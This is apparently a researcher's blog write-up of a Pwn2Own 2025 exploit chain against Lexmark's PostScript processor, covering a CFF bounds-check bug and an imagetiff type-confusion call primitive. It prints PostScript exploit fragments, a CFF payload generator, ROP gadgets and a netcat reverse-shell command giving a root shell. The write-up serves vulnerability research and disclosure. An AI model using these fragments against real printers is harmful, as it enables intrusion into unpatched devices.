Skip to content

BoredPentester

Bored Pentester

A collection of spare time spent reverse engineering, hardware hacking and conducting vulnerability research.

21st October 2025 / Reverse Engineering

Pwn2Own 2025: Pwning Lexmark’s Postscript Processor

I spent the last few months researching Lexmark’s printer for this year’s Pwn2Own Ireland 2025. Unfortunately, my bug got patched out a week before the competition, so I thought it might be fun to write it up early! We’ll tear down the pagemaker, discuss some memory corruption strategies and talk about some of the challenges faced during the exploit development process, achieving RCE prior to the patch roll out.

For full clarity, the bugs detailed in this post are mitigated or otherwise addressed in CXTGV.250.037. Whilst I will discuss technical details here, I will not be releasing full exploit code (at this time) or key material.

History
Let’s start with some history! I brought my Lexmark CX331 a few years ago, and to my dismay it arrived on firmware version 221.204 or thereabouts, from 2023. This firmware version at the time was immune to all of the publicly available exploits, and I believe it still is!
Roll on 2024 and I saw some advisories from Pwn2Own relating to JBIG2, courtesy of Rick De Jager (@rdjgr) and friends at MidnightBlue! Feeling confident, I set out to re-trace his steps in the hopes of finally getting a shell on my very own Lexmark printer! By this point, there were rumours of easier to exploit logic bugs (e.g command injections)… But they’re less fun!

JBIG2 and the first shell
In successfully re-treading Rick’s steps (with his help!) I actually found a variant of his bug. I’m confident Rick would have spotted this bug too, but likely went for the alternative bug as it provided a more reliable exploitation path. In any case, I don’t believe it was reported to the vendor, so I have responsibly disclosed it via ZDI as of the time of writing.

I was able to exploit both Rick’s and my variant to achieve RCE on my 32-bit CX model.

Back to the present: Pwn2Own 2025
In previous Pwn2Own competitions, Lexmark has put forward a 32-bit ARM-based CX331 or a similar variant. They shook things up in 2025 by switching to a 64-bit build and a new model!

Unfortunately for me, whilst the JBIG2 bug I’d found still technically existed in the 64-bit builds of Pwn2own 2025, they were no longer valid on the 64-bit platform. Additionally, the CXTGV.240.229 and upwards firmware finally introduced PIE to many of the key attack surfaces, and fixed the broken ASLR implementation of the earlier model!

We’ll need more bugs!

Pagemaker – Background

Some background first, pagemaker implements Lexmark’s Postscript stack, being seemingly entirely custom. NCC Group (and specifically @FidgetingBits) has documented much of its architecture in his HITB talk some years back in 2023 (see https://conference.hitb.org/hitbsecconf2023hkt/session/exploiting-the-lexmark-postscript-stack/).

I recommend you check this talk out before continuing here, because it explains several important memory structures and Postscript operator usages.

Not all Postscript operators are equal
Onwards… Several Postscript operators that are implemented within Lexmark’s Postscript processor are not callable in the same way the others are…
For example, trying to call the concatstrings operator would result in an undefined error:

%!PS

(AAAA) (BBBB) concatstrings

Result:

%%[ Error: undefined; Offending Command: concatstrings]%%

NCC also experienced this with their attempts to directly call queryfilterparams during their own research.

This was interesting, because several ZDI advisories at this point referenced these operators, so they must be callable?!

So… Why is this? If we search for the operator, we see a string that looks of interest:

%d string cvs (-%d) %d string cvs 1183615869 internaldict /concatstrings get exec cvn

It turns out that the concatstrings operator (and others) is only callable via a password protected internaldict!

Indeed, calling (AAAA) (BBBB) 1183615869 internaldict /concatstrings get exec works as expected, with the resulting concatenated string placed on the stack!

So I took the time to enumerate this dictionary:

1183615869 internaldict {
  % k v
  dup type /operatortype eq {
    pop =                        % print key if value is an operator
  }{
    pop pop
  } ifelse
} forall

And we see several additional interesting operators are available:

...
`papersizesupported`
`getcolormodels`
`getresolutions`
`getmanualpapersizes`
`getpapersizes`
`getdevices`
`exitserver`
`runsysstart`
`waitforjob`
`reporterror`
`@dodeferreddevparams`
`@getfilename`
`@endexecutive`
`@startexecutive`
`doeof`
`@restoretozero`
`superexec`
`CCRun`
`resumefontsave`
`suspendfontsave`
`concatstrings`
[...]
`currentdirectjobfilename`
`SetSpecialImagemaskFlag`
`currentspecialimagemaskflag_active`
`setspecialimagemaskflag_active`
`querycapabilityenabled`
`knownfilters`
[...]

What boundaries?
Through code review, I spotted a vulnerability in the parsing of CFF data. CFF stands for Compact Font Format and its used to represent Type 2 CharStrings and font metadata. It is used in OpenType fonts (.otf), PostScript Type 1 fonts, and PDFs.
From a format perspective, it looks like this:

CFF Table
├── Header
├── Name INDEX
├── Top DICT INDEX
├── String INDEX
├── Global Subr INDEX
├── (Optional) Encoding
├── (Optional) Charset
├── CharStrings INDEX
└── (Optional) Local Subr INDEX

The header is 4 bytes comprising:

4 bytes: `major`, `minor`, `hdrSize`, `offSize`

And a NAME index (for example) is represented as:

INDEX = {
  count       : 2 bytes
  offSize     : 1 byte
  offsets[]   : count + 1 entries (relative to data start)
  data[]      : the actual content
}

There is a failure to check bounds in the getCFFNames operator when processing name indexes. Specifically, the code fails to validate the offsets and count fields of a given index is within bounds.
My reverse engineered version (from an earlier 32-bit build) is below:

// Load CFF font names from operand stack
void b_getCFFnames(void) {
    ps_operand_t *oper = operand_stack_curr;

    // Stack underflow check
    if (oper < operand_stack_bottom) {
        ps_error_(15, "getCFFnames");
        return;
    }

    // Ensure operand is a dictionary/filter reference
    if (oper->type != 40) {
        ps_error_(18, "getCFFnames");
        return;
    }

    // Pop operand
    unsigned int dict = oper->value;
    --operand_stack_curr;

    // Access CFF Name INDEX
    int nameIndexOffset = *(dict + 44);        // offset to Name INDEX
    int count = *(nameIndexOffset + 2);        // number of entries
    unsigned char *data = (nameIndexOffset + count + 3);

    int offSize = *(nameIndexOffset + count);  // offset size
    unsigned char *offsets = (unsigned char *)(nameIndexOffset + count);
    int firstOffset = (offsets[0] << 8) | offsets[1];  // first offset

    // Compute last offset
    int lastOffset;
    if (offsets[2]) {
        lastOffset = 0;
        for (int i = 0; i < offsets[2]; i++) {
            lastOffset = (lastOffset << 8) | data[i];
        }
    } else {
        lastOffset = offsets[2];
    }

    // If entries exist
    if (firstOffset) {
        ps_operand_t *endOper = &oper[firstOffset];
        int entrySize = firstOffset * count;

        unsigned char *currOffsetPtr = &data[count - 1];
        unsigned char *nextOffsetPtr = &data[2 * count - 1];

        // Permissions flag
        unsigned char perms;
        if (*(dword_FA2D6C + 188 * dword_FA2D70 + 132) == 1)
            perms = dword_FA2DBC | 0x8D;
        else
            perms = dword_FA2DBC | 0x0D;

        // Iterate entries
        while (1) {
            int nextOffset;
            if (count) {
                nextOffset = 0;
                unsigned char *p = currOffsetPtr;
                do {
                    nextOffset = (nextOffset << 8) | *++p;
                } while (p != nextOffsetPtr);
            } else {
                nextOffset = 0;
            }

            operand_stack_curr = oper;
            oper->type = 36;                          // string type
            oper->length = nextOffset - lastOffset;   // string length
            oper->perms = perms;
            ++oper;

            oper[-1].value = &data[entrySize + lastOffset];

            currOffsetPtr += count;
            nextOffsetPtr += count;

            if (oper == endOper)
                break;

            lastOffset = nextOffset;
        }
    }
}

This routine will parse the provided CFF data and emit a string type operand to the operand stack.
Given the failure to validate bounds, this allows a string operand to be placed onto the stack with an offsetted value pointer and or large, out-of-bounds length exceeding the provided data.

Thus, we can craft CFF data that will emit a string type with a length large enough (65535 bytes) that it spans out-of-bounds over other operands on the stack! Having done this, we can search for a separate sprayed operand, and write to the emitted CFF string operand to overwrite the targeted operand’s type, length and value fields. This essentially provides an arbitrary read and write primitive!

Because the target binary has PIE enabled, we must first leak a code section pointer before we can proceed to libc base and operand stack pointers.

If we spray some integers, we can examine the operand stack just before we create the CFF string operand and luckily for us, we see:

pwndbg> source dump_operands.py

[+] operand_stack_curr @ 0xfa2d44 = 0x3c4970d4

[0] @ 0x3c4970d4:
  type   = 40
  perms  = 73
  length = 10
  value  = 0x3bfe1bc4

[1] @ 0x3c4970cc:
  type   = 0
  perms  = 141
  length = 0
  value  = 0xdeadbeef

[2] @ 0x3c4970c4:
  type   = 0
  perms  = 141
  length = 0
  value  = 0x1

[3] @ 0x3c4970bc:
  type   = 0
  perms  = 141
  length = 0
  value  = 0xdeadbeef

[4] @ 0x3c4970b4:
  type   = 0
  perms  = 141
  length = 0
  value  = 0x0

[5] @ 0x3c4970ac:
  type   = 6
  perms  = 5
  length = 49152
  value  = 0x122ef0 &lt;&lt; CODE POINTER

Operand 5, technically below our first operand on the stack, contains a code section pointer! Having confirmed the presence of this pointer across various runs and builds, we can safely deduct its offset to get the target image base and break PIE in doing so!

Once we have this, we’re able to read the PLT to obtain the address of memcpy which in turn, allows us to compute the libc base address.

Crafting CFF data
We can build a Python function to emit crafted CFF data:

def make_cff_index_windows(start_offset, chunk_size=65535, count=16, payload=b"MAGIC"):
    offsize = 4
    header = bytes([1, 0, 4, 1])         # CFF header: major=1, minor=0, hdrSize=4, offSize(any)
    offsets = [start_offset + i*chunk_size for i in range(count+1)]
    index = (
        count.to_bytes(2, "big") +
        bytes([offsize]) +
        b"".join(o.to_bytes(offsize, "big") for o in offsets) +
        payload
    )
    return header + index

blob = make_cff_index_windows(0x0, 65535, 1)
print(blob.hex())

With some fine-tuning, this will emit a small hex string which we can feed into the vulnerable getCFFnames operator through the loadCFFdata operator (which expects a filter type):

20
(01000401000104000000000000ffff4d41474943) /ASCIIHexDecode filter
1183615869 internaldict /loadCFFdata get exec
1183615869 internaldict /getCFFnames get exec

Once the getCFFnames call completes, the resulting operand stack contains a type 36 string operand with our provided large size:

[4] @ 0x3c497d34:
  type   = 36
  perms  = 77
  length = 65535
  value  = 0x3c49785c
  string = ................................

Exploiting this, I opted to push an integer operand containing the constant 0xDEADBEEF to the operand stack, and then search for it within the large CFF string.
Once its found, we overwrite the targeted operand metadata (type, length and value pointer etc) to gain read and write primitives. We also grab that function pointer we saw earlier for use later.
This is all done in Postscript as follows:

  20
  (01000401000104000000000000ffff4d41474943) /ASCIIHexDecode filter
  1183615869 internaldict /loadCFFdata get exec
  1183615869 internaldict /getCFFnames get exec

  % === SCAN FOR MARKER IN LARGE STRING ===
  /idx 1 def
  {
    dup type /stringtype eq not { exit } if

    /chunk exch def
    /chunklen chunk length def
    /offset 0 def

    {
      offset 4 add chunklen gt { exit } if

      chunk offset 8 getinterval
      /window exch def

      window 0 get 16#EF eq
      window 1 get 16#BE eq and
      window 2 get 16#AD eq and
      window 3 get 16#DE eq and

      {
        (% Found operand marker in chunk: ) print idx ==
        (% At offset: ) print offset ==

        /found true def
        /foundOffset offset def
        /foundChunk chunk def

        % Just behind our marker is a .text address!
        % We can subtract its offset to get our base!
        (Reading .text ptr to get base address) ==

        % .text pointer is 32 bytes before marker
        % (according to gdb)
        /chunk_offset_func_ptr offset 32 sub def
        (% .text ptr offset: ) print chunk_offset_func_ptr ==

        chunk chunk_offset_func_ptr 8 getinterval /ptr_bytes exch def

        % Print all 8 bytes (debug)
        ptr_bytes { == } forall
        exit
      } if

      /offset offset 1 add def
    } loop

    pop
    /idx idx 1 add def
    found { exit } if
  } loop

  found { exit } if
  pop pop pop

  % === CLEAN UP ===
  % 1 marker ints + 1 cff string
  0 1 2 { pop } for
  (Marker not found, retrying...) ==
} for

We still need to obtain an arbitrary call primitive, however!

In early 32-bit builds, we could overwrite the filter table of function pointers, which looked like this (structure wise) in the data section:

struct ps_filter_entry {
    char name[16];          // offset +0
    uint32_t flags1;        // +16
    uint32_t flags2;        // +20
    uint32_t filter_id;     // +24 ← idx[0]
    uint32_t some_flags;    // +28
    uint32_t active;        // +32
    void *init_fn;          // +36 ← +0x24
    void *handler_fn;       // +40 ← +0x28 (this is what is called)
};

However, these tables were moved to the read-only relocation section in later builds thanks to Full RELRO. No luck for us!

NCC Group previously targeted a global function pointer used by the queryfilterparams operator, however, it was no longer present in my 64-bit build. Another option was overwriting __free_hook, however, this wasn’t viable for 64-bit builds either.

So, what’s a man to do? We’ll need yet again, more bugs!

Lovers TIFF
My earlier fuzzing attempts revealed a frequent crash in the imagetiff operator, and investigating this crash, it became clear why. The operator appeared to expect a filter type on the operand stack, but failed to enforce a type-check!
If we push a filter type to the operand stack, it looks something like this:

pwndbg> x/30x 0x3bfe1d84
0x3bfe1d84:    0x00000006  0x00000000  0x00000000  0x00001080
0x3bfe1d94:    0x00000000  0x00000002  0x00000000  0x00000001
0x3bfe1da4:    0x4ff43e50  0x00000000  0x00000000  0x00000000
0x3bfe1db4:    0x00000001  0x00000001  0x00000000  0x00000000
0x3bfe1dc4:    0x00000000  0x3bfe1d14  0x3c507244  0x00000000
0x3bfe1dd4:    0x00000000  0x00000000  0x00000000  0x00000000
0x3bfe1de4:    0x00000000  0x00000000  0x00000000  0x00000000
0x3bfe1df4:    0x00000000  0x0000008e

Somewhere along the way during the imagetiff operator call, we land in this routine (taken from an older 32-bit build but unchanged in 64-bit bar the change in pointer size):

signed int __fastcall check_cache_status(char *dest, signed int max_len, char *val)
{
  int v7; // r4
  const void *src; // r1
  signed int copy_len; // r4
  int v10; // r2
  bool v11; // zf
  bool v13; // zf

  do
  {
    src = *(val + 12);
    copy_len = *(val + 14) + 1 - src;
    if ( copy_len >= max_len )
    {
      memcpy(dest, src, max_len);
      v10 = *(val + 1);
      *(val + 12) += max_len;
      v11 = v10 == 1;
      if ( v10 == 1 )
        v11 = copy_len == max_len;
      if ( v11 && !val[96] && !val[108] )
        sub_A219C(val);
      return max_len;
    }
    memcpy(dest, src, copy_len);
    dest += copy_len;
    max_len -= copy_len;
    v7 = sub_A2564(val);
  }
  while ( v7 > 0 );
  if ( !val[96] && !val[108] && *(val + 1) != 2 )
    sub_A219C(val);
  if ( v7 == -5 )
    return -5;
  v13 = max_len == max_len;
  if ( max_len == max_len )
    v13 = v7 == -1;
  if ( v13 )
    return -1;
  return max_len - max_len;
}

The val pointer is actually attacker controlled-data! the value of our passed in operand in fact! It’s clear this was never intended, because the function is actually reading raw pointer values from our stream and de-referencing them, for example via src = *(val + 12); and later memcpy(dest, src, max_len);.

Also of note is a integer underflow, where copy_len can go negative and result in the signed comparison returning false, leading to a stack/heap overflow condition (dependent on what is passed in via dest).

In my case, an 8KB stack-based buffer was passed in, and stack cookies were enabled, so I disregarded this.

Looking deeper, at sub_A219C we finally see the processing of the expected filter object:

int __fastcall sub_A219C(char *val)
{
  int v2; // r0
  int v3; // r0
  int v4; // r5
  int result; // r0
  void (__fastcall *func_ptr)(char *); // r3
  int v7; // r0
  _DWORD *v8; // r0
  int v9; // r0

  if ( val[96] )
    sub_A093C(val);
  switch ( *val )
  {
    case 1:
      if ( (*(val + 7) & 1) != 0 && !*(val + 1) )
      {
        *(val + 1) = 1;
        sub_A1D60(val, 1);
      }
      result = 0;
      *(val + 1) = 2;
      return result;
    case 2:
    case 7:
      v2 = *(val + 11);
      if ( v2 )
      {
        l_free(v2);
        *(val + 11) = 0;
      }
      goto LABEL_6;
    case 3:
LABEL_6:
      if ( *(val + 2) >= 0 )
      {
        cfs_close();
        *(val + 2) = -1;
      }
      v3 = *(val + 23);
      val[22] = 0;
      v4 = 0;
      if ( v3 )
      {
        l_free(v3);
        *(val + 23) = 0;
      }
      goto LABEL_10;
    case 4:
    case 5:
      v4 = 0;
      *(val + 23) = 0;
      goto LABEL_10;
    case 6:
      goto LABEL_14;
    case 8:
      if ( *(dword_FA2D2C + 4) == dword_FA27BC )
        b_end();
LABEL_14:
      func_ptr = *(val + 9);
      if ( func_ptr )
      {
        func_ptr(val);
        *(val + 9) = 0;
      }
      v7 = *(val + 23);
      *(val + 8) = 0;
      if ( v7 )
      {
        l_free(v7);
        *(val + 23) = 0;
      }
      v8 = *(val + 18);
      if ( v8 )
      {
        if ( (*v8 - 4) <= 1 || (v4 = val[24], val[24]) )
          v4 = sub_A2394(v8);
        *(val + 18) = 0;
      }
      else
      {
        v4 = 0;
      }
      v9 = *(val + 11);
      if ( v9 )
        l_free(v9);
      goto LABEL_10;
    case 9:
      v4 = 0;
      l_free(*(val + 11));
LABEL_10:
      *(val + 16) = 0;
      *(val + 1) = 2;
      *(val + 15) = 0;
      *(val + 13) = 0;
      *(val + 11) = 0;
      *(val + 14) = 0;
      *val = 0;
      *(val + 10) = 0;
      *(val + 12) = 1;
      break;
    default:
      v4 = 10;
      break;
  }
  return v4;
}

See it? This function processes the first byte of the passed in value data and acts accordingly. Most operations aren’t interesting to us, but the type 6 case is very interesting! It reads a function pointer from our data and calls it, passing in the value pointer:

  case 6:
      goto LABEL_14;
    case 8:
      if ( *(dword_FA2D2C + 4) == dword_FA27BC )
        b_end();
LABEL_14:
      func_ptr = *(val + 9);
      if ( func_ptr )
      {
        func_ptr(val); // !!!!!!!!
        *(val + 9) = 0;
      }

This provides our arbitrary call primitive! It is severe on its own in but requires a leak primitive to successfully exploit. Luckily, we obtained that earlier :)!
Notably, the val pointer points to start of our payload as passed to the imagetiff operator at the point of the function pointer being called, which must start with 00000006. If we call system we still need an attacker controlled string to be executed.

Experimenting with the crash case, we get registers that look like this on a 64-bit build:

  % *X0   0x5502bf2800 ◂— 0x100000006
  % *X1   0x55002b02e4 ◂— add x0, x0, #0x38
  % *X2   0xfffffffffffffff8
  % *X3   0x5501d05850 ◂— 0x913c029434000140
  % *X4   0x5502819630 (system) ◂— cbz x0, #0x5502819638 /* '@' */
  [...]
  % *X19  0x5502bf2800 ◂— 0x100000006
  % *X20  0x5502bf2800 ◂— 0x100000006
  % *X21  0x5501d038d8 ◂— 0xdac012f7b94073e8
  % *X22  0x2000
  % *X23  0x2000
  % *X24  0x2000
  % *X25  0x55004ee2c0 —▸ 0x5502bd2330 —▸ 0x5502c1e018 —▸ 0x5502d01110 ◂— 0x401480000000e
  % *X26  0x55004d6000 —▸ 0x55004df298 ◂— 0x98d05
  % *X27  0x55004f14d0 —▸ 0x5502c440d0 ◂— 0x1c04d24
  % *X28  0x5502c05bc0 ◂— 0xb0b6009c049a8c07
  % *X29  0x5501d03860 —▸ 0x5501d03880 —▸ 0x5501d058e0 —▸ 0x5501d05a10 —▸ 0x5501d05a80 ◂— ...
  % *SP   0x5501d03860 —▸ 0x5501d03880 —▸ 0x5501d058e0 —▸ 0x5501d05a10 —▸ 0x5501d05a80 ◂— ...
  % *LR   0x55000cbcb0 ◂— str xzr, [x19, #0x28]
  % *PC   0x55002b02e4 ◂— add x0, x0, #0x38

I noted that X4 was fully controllable, and X0 pointed to our payload buffer as was expected. PC was also controllable and copied in X1. However, X0 always points to 0x6, which isn’t a valid command.
I went searching for ROP gadgets amongst libc, libcrypto and others, I found one that was useful enough in the target binary itself:
add x0, x0, #0x38; blr x4;

This would increase X0 to point to a valid string in our payload buffer, and then call to system.

With this, the job was done! Or so I thought… Investigation showed that this would execute a command but the command would have to be 7 characters or less (8 bytes including the NULL terminator), due to the offset into our imagetiff data that the command was written to.
Essentially, anything over 8-bytes would clobber our system address.

This meant the only demonstrable impacts were side-channel related, such as executing ping xx and watching the gateway for outgoing DNS resolution (or so I thought at the time). Because the printer would crash and reboot after each command invocation, it wasn’t acceptable to slowly write a file for example, as each reboot counted as an attempt.

The 7-character limit was barely acceptable for Pwn2own:


So I went back to the drawing board to see if I could find another way!

We needed an alternative ROP chain gadget, and in the end I settled on this one within libc:

0x00000000000d6aec: ldr x0, [x19, #0x18]; add x3, x19, #0x28; ldr w2, [x4, x2]; ldr x4, [x19, #0x40]; blr x4;

Looking at the register map during the initial crash, x19 and x20 both pointed to our imagetiff buffer. This gadget was intended to load a pointer into x0 then jump to x4, which pointed to system. So, where does one find a pointer to a controlled string? The answer… The operand stack!

My idea was simple… We will push a string onto the operand stack, then grab its address via walking downwards from the operand stack top pointer, which we can obtain with our r/w primitives. If you imagine the operand stack looks like this just before we call imagetiff:

pwndbg> source read_operands64.py 

[+] operand_stack_curr @ 0x55004f14d0 = 0x5502c44120
[i] PTR_SIZE=8 bytes, VALUE_OFFSET=8, OPERAND_STRUCT_SIZE=16, endian=little

[0] @ 0x5502c44120:
  type   = 36
  perms  = 77
  length = 8
  value  = 0x5502c44108
  string = .+..U...

[1] @ 0x5502c44110:
  type   = 36
  perms  = 77
  length = 43
  value  = 0x5502bf2b90
  string = /usr/bin/nc 192.168.12.1 8080 -e /bin/ash;

The idea is to grab the 0x5502bf2b90 pointer and place it within our imagetiff data, then have the ldr gadget place that pointer into x0 and call subsequently system via our ROP gadget. With some tweaks, this worked!
We can see the successful ground work in the debugger, just as the ROP chain gadget is hit, loading our command string before calling system:

And this was all good for CXGTV.240.229… We had unconstrained command execution:

[...]

(Building arb r/w primitive)
% Iteration: 0
% Found operand marker in chunk: 1
% At offset: 40493
(Reading .text ptr to get base address)
% .text ptr offset: 40461
(R/W PRIMITIVES OBTAINED)
(Using arbitrary read to leak libc/operand stack ptr)
% text_base_addr_hi: 85
% text_base_addr_lo: 0
% memcpy_plt_hi: 85
% memcpy_plt_lo: 5075056
% operand_stack_hi_ptr: 85
% operand_stack_lo_ptr: 5182672
(Resolving libc addresses)
% libc_base_addr_hi: 85
% libc_base_addr_lo: 41746432
% system_addr_libc_hi: 85
% system_addr_libc_lo: 42047024
(Dereferencing operand stack top pointer)
% operand_stack_ptr_hi: 85
% operand_stack_ptr_lo: 46416160
(Writing imagetiff data)
(Resolving operand stack ptr to operand string ptr)
% controlled_operand_hi_resolved: 85
% controlled_operand_lo_resolved: 46082048

uid=0(root) gid=0(root) groups=0(root),46(plugdev)

(DONE)

…or so I thought. Up until this point, I hadn’t tested on a real device beyond my 32-bit older model. So I scrambled to acquire one, and things did not work!

Not just did things not work, the device I had acquired broke within 24-hours! It hadn’t actually printed anything, but consumed ink from running Postscript jobs… And then suffered motor seizure as a result, presenting this warning on boot and becoming unusable:

This was a set back! And then another set back occurred. I spoke with Chris (@mufinnnnnnnn), and he mentioned that the imagetiff operator wasn’t usable on newer versions of pagemaker! Chris had a much more elegant strategy to abuse r/w primitives, so this was (or would have been) fixable, before I could get to fixing all of this, however, Lexmark released CXTGV.250.037! The fourth update since the competition was announced and a week before the competition…

As is becoming usual with Lexmark before competition days, they again changed their firmware encryption in this release. After a quick detour to work the new encryption out, I found out that new release had patched my chain in the CFF operator, which effectively killed my entry this year!

So, what did not work during the exploit development process? Well, lots!

  • Initially, I did not spot the .text code segment pointer, and took an approach of searching backwards from a page aligned heap pointer to find my module base. This took ages to write, ages to execute and was unreliable.
  • I tried this earlier approach on a real 32-bit printer and found that if output wasn’t constant, the execution of Postscript would stop entirely. At this point, I scrapped the idea and went with the more robust implementation.
  • I initially had a less than ideal ROP gadget, as was noted above. This wasn’t great for the competition, so needed to be changed. Luckily, taking a week’s break and coming back in, my creativity was flowing once more, having failed to find the same idea initially. Lesson learned, get sleep, take breaks, come back rejuvenated!
  • Generally, getting to grips with Postscript’s reverse polish notation was a challenge, and I spent more time than I’d like to admit debugging operator issues and working around the nuances of splitting 64-bit pointers into two halves

Overall, all of the iterations on the exploit burned down my time to research the other targets in detail… With that being said, I’m hoping I’ll have more success with Pwn2own Automotive in a few months!

Finally, I have to extend a thank you to Rick, Blasty, Sina, FidetingBits and Chris! This research wouldn’t have been possible without your contributions, encouragement and help along the way!

Post navigation

Previous Post:

Retreading The AMLogic A113X TrustZone Exploit Process

©2025 BoredPentester - Powered by Simpleasy